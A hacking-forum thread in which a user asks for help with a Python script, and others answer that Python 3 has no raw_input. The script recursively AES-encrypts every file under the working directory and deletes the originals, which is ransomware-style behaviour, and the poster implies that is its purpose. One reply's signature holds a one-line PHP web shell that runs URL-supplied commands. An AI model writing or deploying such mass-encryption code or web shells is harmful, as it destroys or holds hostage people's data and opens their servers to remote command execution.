Follow us on Twitter!
It is never to LATE to become what you never WERE.
Thursday, August 17, 2017
Navigation
Home
 Find:
 Information:
Learn
Communicate
Submit
Shop
Challenges
 Exploit:
 Programming:
 Think:
 Track:
 Patch:
 Other:
 Need Help?
Other
Members Online
Total Online: 32
Guests Online: 32
Members Online: 0

Registered Members: 101551
Newest Member: Jamesmhe
Latest Articles
View Thread

HellBound Hackers | Computer General | Programming

Author

Python crypto - help

Hyp3rh4cktivity
Member

Your avatar

Posts: 14
Location:
Joined: 11.04.17
Rank:
Active User
Posted on 12-04-17 11:29
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import os, random, sys, pkg_resources

def encrypt(key, filename):
chunksize = 64 * 1024
outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename))
filesize = str(os.path.getsize(filename)).zfill(16)
IV = ''

for i in range(16):
IV += chr(random.randint(0, 0xFF))

encryptor = AES.new(key, AES.MODE_CBC, IV)

with open(filename, "rb"Wink as infile:
with open(outFile, "wb"Wink as outfile:
outfile.write(filesize)
outfile.write(IV)
while True:
chunk = infile.read(chunksize)

if len(chunk) == 0:
break

elif len(chunk) % 16 !=0:
chunk += ' ' * (16 - (len(chunk) % 16))

outfile.write(encryptor.encrypt(chunk))


def decrypt(key, filename):
outFile = os.path.join(os.path.dirname(filename), os.path.basename(filename[11:]))
chunksize = 64 * 1024
with open(filename, "rb"Wink as infile:
filesize = infile.read(16)
IV = infile.read(16)

decryptor = AES.new(key, AES.MODE_CBC, IV)

with open(outFile, "wb"Wink as outfile:
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break

outfile.write(decryptor.decrypt(chunk))

outfile.truncate(int(filesize))

def allfiles():
allFiles = []
for root, subfiles, files in os.walk(os.getcwd()):
for names in files:
allFiles.append(os.path.join(root, names))

return allFiles


choice = raw_input("Do you want to (E)ncrypt or (D)ecrypt? "Wink
password = raw_input("Enter the password: "Wink

encFiles = allfiles()

if choice == "E":
for Tfiles in encFiles:
if os.path.basename(Tfiles).startswith("(encrypted)"Wink:
print ("%s is already encrypted"Wink %str(Tfiles)
pass

elif Tfiles == os.path.join(os.getcwd(), sys.argv[0]):
pass
else:
encrypt(SHA256.new(password).digest(), str(Tfiles))
print ("Done encrypting %s"Wink %str(Tfiles)
os.remove(Tfiles)


elif choice == "D":
filename = raw_input("Enter the filename to decrypt: "Wink
if not os.path.exists(filename):
print ("The file does not exist"Wink
sys.exit(0)
elif not filename.startswith("(encrypted)"Wink:
print ("%s is already not encrypted"Wink %filename
sys.exit()
else:
decrypt(SHA256.new(password).digest(), filename)
print ("Done decrypting %s"Wink %filename
os.remove(filename)

else:
print ("Please choose a valid command."Wink
sys.exit()

so this is my code in Python 3.5 - so far so good. Purpose ? Obvious I guess . Problem ? I'm getting an syntax error at: choice = raw_input("Do you want to (E)ncrypt or (D)ecrypt? "Wink
password = raw_input("Enter the password: "Wink - why ? I really don't see where the problem is. Help would be nice !
Author

RE: Python crypto - help

gobzi
Member



Posts: 77
Location: Hobbiton
Joined: 26.05.16
Rank:
HBH Guru
Posted on 12-04-17 15:35
there is no raw_input in python 3.5, just use input


<pre> <?=`$_GET[1]`?>

Ima_noob# cat * | egrep "Subject|Date|filename=" > agrrr


gobzi.bounceme.net
gobzi.ddns.net
Author

RE: Python crypto - help

Hyp3rh4cktivity
Member

Your avatar

Posts: 14
Location:
Joined: 11.04.17
Rank:
Active User
Posted on 12-04-17 15:58
huh...so it's that easy?! So I guess the night was a bit too long......thanks. And yup....the code flows now !!
Author

RE: Python crypto - help

Scar0ptics
Member



Posts: 223
Location: ∆ P®0X¥ W0R|D ∆
Joined: 19.11.13
Rank:
Mad User
Posted on 12-04-17 15:59
I know people who are still using 2.7 because of syntax issues....
Author

RE: Python crypto - help

_spartax_
Member



Posts: 30
Location: SYSTEM
Joined: 03.06.16
Rank:
HBH Guru
Posted on 13-04-17 04:29
Python 3 syntax is complicated, I find py2 easier Grin